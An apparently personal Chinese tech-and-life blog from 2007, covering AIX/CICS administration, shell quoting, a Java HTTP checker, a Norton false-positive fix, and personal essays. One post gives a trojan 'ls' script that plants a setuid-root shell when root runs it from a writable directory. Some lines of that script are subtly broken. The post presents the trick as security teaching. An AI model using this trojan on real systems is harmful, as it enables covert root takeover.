2007年5月31日星期四

cicscp调用时的一些默认属性

cicscp在调用时以以下内容为默认值

  • 创建region的用户ID是cics

  • 默认的Region Definitions (RD) DefaultUserId属性是CICSUSER.

  • 在DCE单元中,DCE主要创建者是cics/regionName(还不太熟悉)

  • SFS Server是跟随着host name来命名。譬如若是host 那么是hostABCD,那么SFS Server命名为:/.:/cics/sfs/hostABCD

  • SFS server还创建了short name;它包括一个字母S并跟随hostname的头七个字母。譬如若是host name是hostABCD,则short name是ShostABC

  • 默认的SFS 用户ID和DCE的负责人(principals )都命名为short name。

  • SFS 逻辑卷命名也是以short name为依据。譬如,若是short name 是ShostABC,用来存放队列和文件数据的逻辑卷命名为sfs_ShostABC,用来存放队列和文件日志的逻辑卷命名为log_ShostABC

    注意:
    当在任何平台中使用cicsdefault或者在AIX中用SMIT工具去创建region时,sfs逻辑卷的默认名称值和cicscp命令影响下的默认值是不相同的,默认值在cicsdefault命令或者SMIT工具中是log_SFS_SERVsfs_SFS_SERV

  • 在AIX 和HP-UX 平台中。当在AIX和HP-UX平台使用cicscp命令时,默认的逻辑卷大小是64MB。在Solaris中因为cicscp命令必须在卷已经创建好后使用,文件卷由操作系统命令创建,所以没有默认值。

若是你想在使用cicscp时不使用默认的一些属性,可以通过修改环境变量的方式来操作(也可以分布操作来实现):
  • CICS_SFS_SIZE--指定SFS 服务的data和log逻辑卷的大小。
  • CICS_SFS_DATA_SIZE--指定SFS服务的数据逻辑卷大小。这个变量覆盖CICS_SFS_SIZE值。
  • CICS_SFS_LOG_SIZE--指定SFS服务的日志逻辑卷大小。这个变量覆盖CICS_SFS_SIZE值。
  • CICS_SFS_VG--指定SFS服务逻辑卷所在的卷组,默认的是rootvg。
  • CICS_SFS_DATA_VG--指定SFS服务的数据逻辑卷所在的卷组。这个变量覆盖CICS_SFS_VG的值。
  • CICS_SFS_LOG_VG--指定SFS服务的日志逻辑卷所在的卷组。这个变量覆盖CICS_SFS_VG的值。

cicscp命令使用时所调用的CICS资源管理命令

cicscp 命令调用以下底层命令来创建和启动region以及文件管理:

  • 在创建新region时使用默认定义,cicscp create region 调用 cicsdefault命令。

  • 在从定义好的region中导入region定义cicscp create region 命令会使用-i

    参数(用来导入)和指定引入包含导出region文件的文件名。在这种条件下,cicscp create region 调用cicsimport命令。

  • 在创建,配置和启动SFS server的时候,cicscp命令调用一下CICS资源管理命令:

    • cicssfscreate

    • cicssfs

    • cicssfsconf



  • 再用DB2数据库来配置文件管理的时候,cicscp

    命令调用cicsdb2conf 命令。(DB2数据库必须在cicsdb2conf或者cicscp命令使用前创建和启动。)

  • 在启动region时,cicscp 命令根据操作系统调用以下的命令:

    • AIX 平台. cicscp 命令调用startsrc命令。

    • HP-UX 或者Sun 的Solaris 平台. cicscp 命令调用 cicsstart命令。



在CICS资源定义中使用简写

CICS提供简短速记的方法来在CICS属性中定义CICS特定的值:



%R or %r

扩展为当前region的名字。譬如,在名为RegionA的域上使用%Rreqtsq#,则%R会自动由CICS解释为RegionA,这个字符串整体解释为regionAreqtsq#。

%H or %h

扩展为当前host name。譬如,当在一台host名为HostABCD的机器上使用%H,则%H自动由CICS解释为HostABCD。

%S or %s

解释为当前SFS服务和PPC Gateway服务。譬如,当%S在PPC服务名为cicsgwy上使用,那么%S自动由CICS解释为cicsgwy。

2007年5月28日星期一

find命令中的引号

find命令在根据文件特征(文件名,文件权限,创建时间等等)搜索文件时经常使用。

我们经常使用:

find . -name STRING

来搜索文件名为STRING的文件,也可以使用:

find . -name '*.*'

来列出当前目录下,以及目录下子目录,子目录的子目录.....的所有文件。

但是为什么要将*号用引号括起来呢?这和

ls *有什么不同呢?

实际上*这种特殊的字符,在shell中会做为特殊的处理。也就是说当你输入ls *时,处理实际上分为两部分。第一部分,shell会首先将*号做处理,将*号转换为指定目录下的文件名(或者文件夹名);第二部分shell才会运行转换后的ls命令。譬如:当前目录下有三个文件:a,b,c。那么运行ls *的时候,*号实际上先转换为a,b,c,而后才运行ls a b c。所以你输入ls *时,实际上shell最后运行的是ls a b c。

而find命令的具体用法是将最后的字符串和指定目录下的文件名作比较,若是相同则显示文件,若是不同则跳过。因此在我们假设的环境下当你输入find . -name * 的时候实际最后运行的是:

find . -name a b c

这样实际上是不符合find命令的语法,所以系统会报错,若是系统只有一个文件a(没有其他任何文件和文件夹),那么find . -name *是可以运行的,因为它实际上运行的是:

find . -name a

所以我们需要将*号引用变为字符串,这样shell不会首先将他转换,而是将它做为字符串参数传递给find以便以后和其他文件名的比较,比较时*会符合任何文件名,因此命令正常情况下列出所有查询目录下的文件和文件夹。

2007年5月26日星期六

中外结合


应该是老外制作的,但是感觉不错~,呵呵!意境有点像从前有座山,山里有个庙,庙里有个和尚在讲故事,故事讲的是:从前有座山......

M. Ward - Chinese Translation

I sailed a wild, wild sea climbed up a tall, tall mountain
I met a old, old man beneath a weeping willow tree
he said now if you got some questions go and lay them at my feet
but my time here is brief, so you’ll have to pick just three

and I said, what do you do with the pieces of a broken heart?
and how can a man like me remain in the light?
and if life is really as short as they say, then why is the night so long?
and then the sun went down, and he sang for me this song

see I once was a young fool like you,
afraid to do the things that I knew I had to do
so I played an escapade just like you, I played an escapade just like you
I sailed a wild, wild sea, climbed up a tall, tall mountain
I met an old, old man he sat beneath a sapling tree
he said now if you got some questions go and lay them at my feet
but my time here is brief, so you’ll have to pick just three

and I said, what do you do with the pieces of a broken heart?
and how can a man like me remain in the light?
and if life is really as short as they say, then why is the night so long?
and then the sun went down, and he played for me this song

超级玛丽


超级玛丽真是经典中的经典啊,交响乐演奏超级玛丽更是无话可说
ps. 好大的屏幕啊,估计比我家墙大了不少

为什么要使用Gmail呢?


为什么要使用Gmail呢?呵呵看看gmail的人怎么告诉我们~

2007年5月25日星期五

骗取root的使用权

最近上课介绍AIX的安全性,竟然先听到一个如何骗取root帐号的方法,觉得有趣,写出来同大家一起研究,以便加强系统的安全性,当然仁者见仁,智者见智....
这个方法的前提条件是系统路径设置有问题:
一般情况下
PATH=/usr/bin:/etc:/usr/sbin:/sbin:.
而若是设置为
PATH=.:/usr/bin:/etc:/usr/sbin:/sbin
则非常不安全,这是因为此时输入命令系统会首先查找当前目录然后再查询其他目录,这就给黑客创建了很危险的机会:用自己编写同系统命令相同名称脚本来迷惑root用户。

$ cd /home/hacker                     
$ vi ls #创建ls文件
#!/usr/bin/ksh
cp /usr/bin/ksh /tmp/.hackerchown #拷贝ksh以便以后使用
chmod root /tmp/.hacker #赋予拷贝后的文件root权限
chmod u+s /tmp/.hacker #使拷贝后的文件运行是以文件所属(root)权限运行
rm -f $0 #强制删除此假ls文件
/usr/bin/ls $* #将输入的参数传入的系统ls命令。

$ chmod a+x ls #赋予此ls文件可运行的属性
然后就是看你怎么欺骗root用户在当前目录下运行此文件了。
若是root用户在你的当前目录下运行了ls命令,那么当你运行/tmp/.hacker命令就可以重启一个ksh,而这个ksh则是拥有root权限的shell了,至此你想做什么都可以了....

2007年5月24日星期四

通过AIX考试

呼呼,通过了Professional Certification Program from IBM Exam 222的认证考试 : P5 and pSeries Administration and Support for AIX 5L V5.3,还是挺值得开心的事。

夜深人静

夜深人静
忽然有了想吸烟的感觉
很久很久
没有这样的感觉了
忙忙碌碌,迷迷茫茫
总是太多的烦恼和哀愁
常常不愿意停下来静静的思考
给自己一个忙碌的藉口
只是为了写下躲避的伏笔

夜深人静
让我静静的倾听
让我看看黑色的夜晚
让我再次触摸一个内心的我

我是否迷失?

2007年5月23日星期三

烦恼与进步

偶尔想起一年前的今天...当时的我也许正在想一年后我在干什么啊?呵呵。因为我经常会忽然间思考:一年后不知道我在坐什么?

在这个忙碌的时代,一切都成了快餐文化。于是生活变得不稳定起来。一年前由于前一个公司的经营状况越来越差,升职,加薪或者自我价值有所提升仿佛都变得越来越模糊。我开始不断的考虑如何换一个公司以便换一种生活。当时给自己的要求是:只要有公司要,不求加薪只求可以学到些有价值的东西即可,我把自己所有的要求都降到了最低。当时的烦恼无非是如何找到工作。

一年中变化竟然让我出其不意,换工作,加薪并且找到了我所要求的自我价值的提高而且还可以学到好多东西(有事甚至觉得要学的太多)。

一年以前的我看到现在的我会怎么想呢?太成功了!?然而事实现在的我却在短暂的喜悦后更加的忧愁,我开始忧郁如何学到更多的东西,我开始忧郁如何成为正式员工,我开始忧郁现在得到的一切会不会突然间消失。

烦恼跟随着进步,这可能是人类进步的原因,也是贪婪的表现。

2007年5月22日星期二

HTTP服务返回值判定程序

经常在客户系统里判定IBMIHS的状况,但是服务器需要重重防火墙和映射地址才能访问。于是写了一个程序,目的是放到一个服务器里用来便可以判断所有同一网段的HTTP返回值是否正常,以便简化检查的手工劳动 ::D

import java.net.ConnectException;
import java.net.URL;
import java.net.MalformedURLException;
import java.net.HttpURLConnection;
import java.net.UnknownHostException;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.io.IOException;
import java.io.BufferedReader;


public class serverStat {

private static String urlString;

private static File serverNameFile = new File("server.ini");

public static void main(String[] args) {
if (args.length != 1) {
getServerName(getServerNameFile());
System.exit(0);
}
setUrlstring(args[0]);
connect(urlString);
}

private static void getServerName(File f) {
// File f = new File("server.ini");
FileReader fr = null;
try {
fr = new FileReader(f);
BufferedReader br = new BufferedReader(fr);
String Line = new String();
while (Line != null) {
Line = Line.trim();
if (Line.startsWith("#") || Line.equals("")) {
} else {
serverStat.setUrlstring(Line);
connect(urlString);
}
Line = br.readLine();
}
br.close();
fr.close();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}

private static void connect(String urlarg) {
try {
URL url = new URL(urlarg);
HttpURLConnection connection = (HttpURLConnection) url.openConnection();
System.out.println(connection.getResponseCode());
System.out.println(connection.getResponseMessage());
System.out.println("*** Success ***");
} catch (MalformedURLException e) {
System.out.println("*** Exception *** " + e);
} catch (UnknownHostException e) {
System.out.println("*** Exception *** " + e);
} catch (ConnectException e) {
System.out.println("*** Exception *** " + e);
} catch (IOException e) {
System.out.println("*** Exception *** " + e);
}
}

public static String getUrlstring() {
return urlString;
}

public static void setUrlstring(String args) {
args = args.toLowerCase();
if (args.startsWith("http://")) {

} else {
args = "http://" + args;
}
System.out.println(args);
serverStat.urlString = args;
}

public static File getServerNameFile() {
return serverNameFile;
}

public static void setServerNameFile(File serverNameFile) {
if (serverNameFile.exists()) {
serverStat.serverNameFile = serverNameFile;
} else {
serverStat.serverNameFile = new File("server.ini");
}
}
}

2007年5月18日星期五

Norton 这下傻了

用了这么久的Norton,一直都是他保护我们的电脑,这次倒好。轮到Norton 像病毒一样攻击我们的操作系统了,虽然估计他也不是故意的,呵呵。

经过分析,这是该杀软对系统正常文件的误报,鉴于Norton杀毒软件在国际上有庞大的装机量,将会有大批用户遭遇无法开机现象。

关于被报文件netapi32.dll:

文件说明:
netapi32.dll 名称为:Microsoft LAN Manager DLL,它是是Windows网络应用程序接口,用于支持访问微软网络。

经过我们分析,该文件可以正常通过微软数字签名认证,从而正式证实了该杀软误报。

该杀软为什么会误报该文件呢?经过我们追踪分析,netapi32.dll曾经跟近年几个重要的漏洞有关,其中04年的Lsasrv.dll 漏洞,它是从系统Netapi32.dll中找到DsRolepEncryptPasswordStart函数,在第一个参数过长导致了溢出。由于Netapi32.dll中的DsRoleUpgradeDownlevelServer函数是一个客户端函数,该漏洞只能在本机触发,所以黑客会修改Netapi32.dll,将请求发送给本机的变量地址改为黑客制定指定的IP地址,从而远程利用该漏洞。此外还有其它的漏洞出现在Netapi32.dll本身,由于杀软会检测该文件是否被修改利用,从而就造成了特征提取错误,误报了系统中原本正常的文件。

二、解决方案:

在该杀毒软件报警后,不要重启动系统,会造成无法启动。
1、在病毒服务器的系统中心将病毒库恢复到17日以前的版本。
2、对于已经更新病毒定义的客户端,千万不要重新启动电脑,关掉symantec antivirus 服务,从隔离区里面恢复被隔离的两个文件。
3、使用该杀软的信任列表和目录,将该文件临时加入到信任列表中,并及时关注官方最新升级特征。
4、紧急停用该杀软。
5、如果系统已经无法启动,可以使用windows 安装光盘启动系统,执行如下命令恢复被杀除的文件(x表示光盘盘符):
expand x:\I386\netapi32.dl_ c:\windows\system32\netapi32.dll
expand x:\I386\netapi32.dl_ c:\windows\system32\dllcache\netapi32.dll
expand x:\I386\lsasrv.dl_ c:\windows\system32\lsasrv.dll
expand x:\I386\lsasrv.dl_ c:\windows\system32\dllcache\lsasrv.dll

2007年5月15日星期二

生日快乐

母亲出身农家,生日无法得知,唯一知道的是挖红薯的日子出生。不但如此,实际上她具体的出生年也是未知的,唯一知道的是比我的大舅大两岁,可怜的是大舅的具体出生年月日也是未知。时常听人议论说子女不知父母的生日,不孝!所以有时候不得不感谢西方还有个母亲节,多少可以让我当作母亲的生日来庆祝。

还有一个人。我的宝贝:草,我曾经忘记过她的生日,我也好久没有给她买过生日礼物,今年的生日正好和母亲节碰在了一起!

本来如此的日子对于我是如此的重要,该好好的和他们在一起,可惜却不得不在这一天选择忙碌的出差和工作。

对于你们的爱我无法在这一天有所表示,只能记录片语在电脑上抒发下此时的感情。谢谢你们对我的支持,对我的爱!!!

2007年5月9日星期三

我为什么还没有结婚

最近似乎到了我们这一代即将老去的时段:我的朋友,我的同事,我的朋友的同事,我的同事的朋友。凡是和我差不多大的都开始忙碌着结婚。更厉害的是那些在家中的老同学,有几个竟然有了下一代。问候的常用语句从刚毕业的:现在哪儿混的呢?变成了:你结婚没有?于是,不得不面对一个问题:我为什么还不结婚?或者我们为什么还不结婚?由于福气猪年的到来,加上我和我女友长达快10年的恋爱。我不得不对每一个关心我们两的人解释一遍我们还未结婚的原因,其中的繁杂非常人能理解,为了便于我和我女友共同同学,共同朋友的关心,简单概述下(简单概述都很复杂,可见这事...唉~~),期望大家多多理解!!~~

户口

首先交待一个背景:我们可爱的户口制度!!!
2000年由于我的贪玩,大学休学一年,于是女友为了陪我读大四,2002将户口迁入成都高新区人才交流中心。为什么迁户口呢?主要是当时听父辈说,一定要将户口直接迁出来,而不要打回新疆,否则将会有很多复杂的事情。是否如父辈所讲从新疆不易迁出户口?是否新疆外迁要交钱,我现在依然不得而知。但是这一决定冥冥之中在一定程度上导致了我现在未结婚。

2003年我毕业,和女友共赴广州,好歹圆了父母的愿。这是因为祖父祖母姥姥老爷均是广东人。父亲,母亲均出生在广东,对于广东他们有我对新疆同样的感觉:根!(这里不愤的说一句:最讨厌那些瞧不起新疆人的人了,咱新疆人来自祖国各地,瞧不起新疆人那就是...)2005年将户口档案从学校迁入广州人才交流中心,为我和女友不能结婚写下了“人”字的第二笔。

迁户口

背景交待完毕!熟悉我和女友草的人,都知道我们从高中就开始要好了,我们当然也打算结婚了啊。但是当我们准备结婚的时候碰到一个棘手、恶心、无聊的问题:广州的人才交流中心说:结婚可以,必须在一个月内将户口转出去才可以。我当时就闷了赶紧去找转户口时的协议,一看果真如此。但是往哪儿迁呢?不止一个同学朋友说:迁回乌鲁木齐不就行了么?大哥啊?说的容易!这不是随便放哪儿就行的啊?现在迁回去了?我的社保,我的医保?我的养老保险...乱七八糟的东西可都是在广州交的啊?这些可不是全国联网的啊?兄弟姐妹们可不是都想让我老了在折腾这些吧?再说了,下一代怎么办?我在广州工作?让他一个人在乌鲁木齐?我倒不是不喜欢乌鲁木齐,可是户口制度不容许我随意的迁来迁去啊。

买房

于是我们考虑解决这个户口问题了,唯一的方法:买房!!!那些站着说房价是房奴推动的人,求求你们清醒一下吧,那些说:住者有其屋不是说必须有自己的房子的人也稍微的收敛一下,可怜我们这些必须通过买房来获得户口的人吧!广州的房价我不多说了,虽然比不上北京上海的疯狂,但是起码也可以让我们这些穷人感觉到疯狂。于是忙碌的生活中抽着时间看各式房子,一手的二手的,近的远的,便宜的贵的,反正来来回回折腾了一年左右。终于签约,贷款,买房。于是牵扯到新的问题:户口,未婚证明

户口

不知道兄弟姐妹们有没有一次提供过这么多证明的:户口、未婚证明、身份证、收入证明、公司证明、银行流水帐。对没有看错里面还有一个未婚证明。我当时就实在不理解怎么会有这么一个证明,没结婚就没结婚呗。结婚了要有结婚证明,没结婚竟然还有个未结婚证明。那么没结婚的有没有未婚证明的人是不是也违反了《婚姻法》?(呵呵,后来办理才知道是个计划生育的手册,没结婚还要计划生育...)我和草遇到了新问题:身份证!因为草早先丢失了身份证,但是有不可能马上飞回成都去补办,所以一直没有身份证。为了买房,我们早早计划着终于办好了身份证,但是买房还需要户口啊?好说歹说终于让按揭的人答应要个户口复印件就可以了,于是邮寄身份证回去托人复印户口。结果遇上大麻烦,户口复印件和身份证一同在邮递回广州中丢失。

二代身份证

好不容易通过传真拿到了草的户口复印件,又凭着草以前大学未上交的身份证我们办理完了房屋贷款,算是买上了房子。有了房子我又将户口从人才交流中心中迁出准备草办好了户口就可以结婚。结果让我们赶上了二代身份证。二代意味这比一代更先进的地方就是必须到户口所在地办理身份证。(妈的,就不知道联网么?不就是个数码照相么?)于是,一不做二不休我和草杀回成都,就为了办理身份证。考虑到以后的生活我们也决定直接将草的户口迁至现在广州的房子名下,长痛不如短痛,这样以后就没有那么多麻烦事了!

未婚证明

回到广州,在漫漫的三个月以后我们才得到成都同学的通知:拿到新的身份证了。同时草也办理着户口迁移的手续。期间漫漫岁月,加上对于草公司丢失信件(就是上个身份证)的不信任,日子是在是过得提心吊胆。反正经过期间许多手续,在等待的最后,户口迁移证终于拿到手上。某个周末一大早开开心心的打的来到办证大厅,结果遇到了可笑的问题:草的户口迁移证里的婚姻一栏里竟然没有填东西,这意味这草的婚姻状态是未知的。于是查到成都高新区人才市场。一问,户口本身就没有填。我实在有些佩服我们辛勤的户口工作者了,虽然你们背负着中国变态制度的骂名依然辛勤的工作,虽然你们一年才收取几千元的户口管理费,虽然你们忙忙碌碌的管理这么多的户口,不时的还有人为难你们,在你们的面前爱理不理...但是能不能仔细一点啊?怎么就会不填这一栏呢?于是广州这边要求开具未婚证明,成都方面又说:我只能证明你没有领取生育指标?我怎么知道你结婚没有?我怎么知道你生孩子没有?我.....真的在心里面把她几代母亲都慰问了下。我实在不明白这些人户口的管理到底做些什么?只是恐怕"爲人民服務"是不能安在她们头上了。经过千辛万苦,终于有地方愿意证明草未婚:广州这边的档案管理处...前提....于是,草的户口顺利迁入我们的新居。

社会保险

所有的一切搞定,也就是我们现在的状态。现在户口又交上去办理草的社会保险。等待发下来的日子,然后我们就可以计划什么时候领证,什么时候结婚了。

后记

感谢我的小舅,为我买房定居广州,为我工作和生活操心了那么多。另外,还要感谢我在成都的同学,我的大学室友,没有他的帮助,上面很多的事不知道要花费多少时间精力和金钱。所以,我们的亲戚,我们的朋友,我们的同学,我们的同事。请不要再问你们怎么还不结婚这样的话。真正相爱的人们,没有结婚也会依然相守;真正负责的人,也不会因为没有婚姻的证书而放弃;别着急,等我们的好消息吧! :D
经过草的审核,发现我还写漏了很多事情:譬如档案迁移事情;也有些事稍稍和事实不太一致,反正多写也描述不清楚期间的复杂,大家自己可以想象下吧,呵呵

2007年5月7日星期一

正常umount不掉文件系统的处理步骤

短剧剧名:《正常umount不掉文件系统的处理步骤- 之粗俗不堪版》



导演+编剧 : workaholic



场地+灯光+音乐 : larryh (借larryh是楼主,固有此说)



友情主演: 工程师甲(以下简称甲) & 工程师乙(以下简称乙)



剧情背景:



某日,工程师乙无法umount一个FS,提示 …………what what is busy 之类



演出开始:



乙: “faint ,该死的FS无法umount ” (气急败坏的表情)“

甲: “哦,肯定有哪个bitch开的Application用了该FS中的资源” (叼着香烟看着电影)

乙: “ 那TMD咋整啊” (还不到咱们LU发帖子)

甲: “ fuck ,应用都停了吧!” (也很气愤的说)

乙: “ shit,是啊” ( shit = 上海IT ?)

甲: “ 唉,看来只能 fuck user了 ” (语重心长的说)

乙: “ how ? " (一脸狐疑)

甲: “听着,要fuck 和 该 FS相关的USER,fuck user -> fuser -uck /mount_point ” (真正的技术要点分析阐述)

乙: “ 啊?能行吗,我来试试 ”



乙接着敲命令 # fuser -uck /mount_point , 然后umount 搞定 。



甲继续看电影,乙继续干活,从此记住该参数 。

2007年5月1日星期二

再见 Gaim


很久以前就在linux、windows上断断续续的使用过Gaim。一年前从Redhat 4开始正式开始使用Gaim,由于他集成了Gtalk、QQ、msn这三个我经常使用的聊天工具。所以即使在有时通过代理不能使用的情况下,我也依然不忍心放弃她。现在在Windows下也同样喜欢她节俭和整合的思维方式。

本想等待到Gaim的2.0 正式版,没想到这永远成为梦想。Gaim迫于AOL的压力,发布了Important and Long Delayed News从此将Gaim修改为pidgin,英文意思为混杂,语言或事务。